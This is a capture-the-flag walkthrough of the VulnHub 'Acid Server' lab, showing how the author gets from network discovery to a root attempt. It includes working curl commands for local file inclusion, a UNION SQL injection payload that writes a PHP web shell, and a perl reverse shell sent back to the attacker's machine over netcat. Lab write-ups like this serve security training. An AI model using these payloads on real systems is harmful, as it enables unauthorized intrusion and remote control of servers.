Acid Server is a boot2root challenge built by @m_avinash143
and hosted by vulnhub.
The challenge is completely focused on web exploitation and the end goal is to escalate the privileges to root and capture the flag.
This walkthrough shows how I solved the challenge, so lets get started.
After booting Acid Server and Kali Linux on virtual box (Bridged Adapter), I used netdiscover to find the ip address of Acid server:
Netdiscover
1234567891011
root@kali:~# netdiscover -i eth0 -r 192.168.2.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
-----------------------------------------------------------------------------
192.168.2.1 80:1f:02:fa:e0:68 01060 Unknown vendor
192.168.2.101 60:36:dd:a2:0c:56 01060 Unknown vendor
192.168.2.102 08:00:27:ab:54:a5 01060 CADMUS COMPUTER SYSTEMS
So, Acid’s ip address is 192.168.2.102 and our kali’s ip address is 192.168.2.108 as shown below:
Lets find what services are running on Acid using nmap:
Nmap Scan
12345678910111213141516171819202122
root@kali:~# nmap -sS -p- -A -T5 192.168.2.102
Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-23 12:14 EDT
Nmap scan report for 192.168.2.102
Host is up (0.00053s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))|_http-title: /Challenge
MAC Address: 08:00:27:AB:54:A5 (Cadmus Computer Systems)Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.11 - 3.14
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.53 ms 192.168.2.102
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.97 seconds
Nmap found that apache web server is running on port 33447, so lets visit the main page for the web service http://192.168.2.102:33447/
My next destination was DirBuster to find hidden directories or files that might be interesting:
Note: I used directory-list-2.3-medium.txt wordlist which is located in /usr/share/dirbuster/wordlists/
So, DirBuster has found the “/Challenge” directory, and the index page of this directory is a login form as we can see:
Lets view the page source to see if we can identify the script behind this login form:
And examining form.js script as well:
form.js
1234
/* * Copyright (C)2013 peredur.net * * This program is free software: you can redistribute it and/or modify * it under the terms of the
GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the * GNU General Public License for more details.
* * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */
After searching for the login script in google using keywords “secure login peredur.net”, I found its main github repository and the default dabtabase
is configured with a default user “test_user” as we can see in the description of the github repo, so lets try to login using these credentials:
snippet from phpsecurelogin repo
123
The code to create and populate the necessary tables is included in the 'secure_login.sql' file. It populates the members table with a single user with the following details:
Username : test_user Email : test@example.com Password : 6ZaxN2Vzm9NUJT2y
After logging into the admin panel using the test_user credentials, there is a sec_session_id cookie assigned after a successful login which I will use later when I continue exploitation using the cURL utility.
The “Click Here to Proceed Further” link direct us to http://192.168.2.102:33447/Challenge/include.php, which is a php script that allows us to include any readable file by the apache’s user in the system.
In another words we have Local File Inclusion vulnerability in our hands, I also tried to include remote files but it didn’t work.
At this point, I tried to get RCE using the LFI vulnerability by using apache log poisoning method, reading /proc/self/environ, or any logs in the apache’s file descriptors,
but it seems that the apache user doesn’t have any read access on those files and only php://filter meta-wrapper worked which is very useful for further enumeration of any readable files in the target system.
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening, and forces PHP to base64 encode the file before it is used in the include statement, so we can examine its source code.
There is only one readable file descriptor /proc/self/fd/14 which I found using BurbSuit(Intruder attack combined with Numbers payload) and by brutefocing the file descriptor number utilizing the include.php script, but I found later after enumerating the files in the web server that this file descriptor only contains php session variables which aren’t controlable by any mean, so it was useless.
Files Enumeration using PHP://filter
Lets go to the next step and start enumerating the underlying files in the current directory, and we will start by include.php:
Note: In the cURL command, I used urlencode() function in php to send urlencoded input in the “file” GET variable. I also used sed and cut commands to get rid of the html code in the output.
After decoding the base64 of the include.php source code, nothing useful was found except that we can see how our files are included in the script using include($file);:
root@kali:~# curl -s --cookie "sec_session_id=pdn8qkd0v8ukgpdpcip10n00b5" http://192.168.2.102:33447/Challenge/include.php?file=$(php -r "echo urlencode('php://filter/convert.base64-encode/resource=protected_page.php');")| sed '/<html>/,/*/d'| cut -d '<' -f 1| base64 --decode
<?php
include_once 'includes/db_connect.php';include_once 'includes/functions.php';sec_session_start();$_SESSION['protected_page']=time();?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet"href="css/style.css">
<link rel="stylesheet"href="styles/main.css" />
<title>Secure Login: Protected Page</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
$host= getenv("HTTP_HOST");$ref= getenv("HTTP_REFERER");$ref1="http://"."$host/Challenge/includes/process_login.php"; ?>
<?php if(login_check($mysqli)==true): ?>
<p><h1> You have been logged into admin Panel Successfully.</h1> <br>
<p><h3>You are close to your destination :-) <a href="include.php">Click Here to Proceed Further</a>.</h3></p>
<p><h3>If you are done, please <a href="includes/logout.php">log out</a>.</h3></p>
<?php elseif ($ref==$ref1): ?>
<p> <h1>Congrats..! You have bypassed User Panel Successfully.</h1> <br>
<p><h3>There is long way to go :-) <a href="hacked.php">Click Here to Proceed Further</a>.</h3></p>
<p><h3>If you are done, please <a href="includes/logout.php">log out</a>.</h3></p>
<?php else: ?>
<p><h1><font color='Red'>You are not authorized to access this page.</h1></font><br><font color='Green'>Please <a href="index.php">login</a></font></br>.</p>
<?php endif; ?>
</body>
</html>
A very interesting php script named hacked.php is found in the elseif statement, lets point our browser to it:
Ok, lets examine its source code to see what is actually happening inside that scirpt:
root@kali:~# curl -s --cookie "sec_session_id=64uk8pthsvr3939mm9joa5u254" http://192.168.2.102:33447/Challenge/include.php?file=$(php -r "echo urlencode('php://filter/convert.base64-encode/resource=hacked.php');")| sed '/<html>/,/*/d'| cut -d '<' -f 1| base64 --decode
<?php
include_once 'includes/db_connect.php';include_once 'includes/functions.php';sec_session_start();if(!isset($_SESSION['protected_page'])){ header('Location: protected_page.php');exit;}if(!isset($_SESSION['index_page'])){ header('Location: protected_page.php');exit;}?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet"href="css/style.css">
<link rel="stylesheet"href="styles/main.css" />
<title>Try to Extract Juicy details</title>
</head>
<body>
<div class="wrapper">
<div class="container">
<?php
if(isset($_REQUEST['add'])){$dbhost='localhost';$dbuser='root';$dbpass='mehak';$conn= mysql_connect($dbhost, $dbuser, $dbpass);if(! $conn){ die('Could not connect: ' . mysql_error());}$id=$_POST['id'];$sql="SELECT * FROM members WHERE ID = (('$id'))"; mysql_select_db('secure_login');$retval= mysql_query($sql, $conn);if(! $retval){ die('Could not enter data: ' . mysql_error());}echo"You have entered ID successfully...Which is not a big deal :D\n"; mysql_close($conn);} ?>
<p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br>
<form method="get"action="<?php $_PHP_SELF ?>">
Enter your ID:<input name="id"placeholder="id"type="text"id="id"maxlength="20">
<input name="add"type="submit"id="add"value="Add ID">
</body>
</html>
So, after examining the source code of hacked.php, we can see that the mysql query takes the id parameter which is sent through HTTP POST data , and not the one sent through HTTP GET data, and just select a row that matches that id, then it just prints “You are going Good…Show me your Ninja Skills”.
UNION based SQL Injection
That mysql query is vulnerable to union based sql injection and we can use SELECT .. INTO OUTFILE to write simple php shell in the /tmp directory to get remote command execution on the target machine.
The UNION operator combines the result of the two sql queries and it requires that they have the same number of columns.
By reading the secure_login.sql file in the github repo of the login script, we can see that there are 5 columns per record in the members table.
The final payload will look like the following:
SQL Injection Payload
1
id=')) UNION SELECT "<?php system($_GET['cmd']); ?>",2,3,4,5 INTO OUTFILE '/tmp/shell.php'-- -
Note that wget isn’t available in the target system.
It’s the time for an interactive shell:
We will use perl-reverse-shell provided by pentestmonkey.net after modifying the ip address and port number in the perl script, and we will use netcat to transfer the shell because wget isn’t available in the target system.
Basic modifications in the perl reverse shell:
Modification to the perl-reverse-shell
123
# Where to send the reverse shell. Change these.my $ip='192.168.2.108';#Our kali's ip addressmy $port= 4444;
lets upload it to Acid server, on our local machine:
12
root@kali:~# nc -nvlp 7777 < revshell.pl
listening on [any]7777 ...
Ok, after transferring the shell and while listening on port 4444 on our local machine, we execute revshell.pl on the target system using the following command:
root@kali:~# nc -nvlp 4444
listening on [any]4444 ...
connect to [192.168.2.108] from (UNKNOWN)[192.168.2.102] 39553
23:13:11 up 1:33, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linuxuid=33(www-data)gid=33(www-data)groups=33(www-data)/
/usr/sbin/apache: 0: can't access tty; job control turned off$ python -c 'import pty;pty.spawn("/bin/bash")'www-data@acid:/$
Privilege Escalation and Capturing the Flag
Lets get the OS version information:
OS Info
1234567891011121314
www-data@acid:/$ uname -a
uname -a
Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linuxwww-data@acid:/$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"VERSION="15.04 (Vivid Vervet)"ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 15.04"VERSION_ID="15.04"HOME_URL="http://www.ubuntu.com/"SUPPORT_URL="http://help.ubuntu.com/"BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
Acid server is running under Ubuntu version 15.04 which is affected with a local root race condition vulnerability “CVE-2015-1325”.
There is a public exploit for this vulnerability: “Apport/Ubuntu - Local Root Race Condition” which we will use to gain root privileges on Acid server.
Lets compile and transfer the exploit to the target system.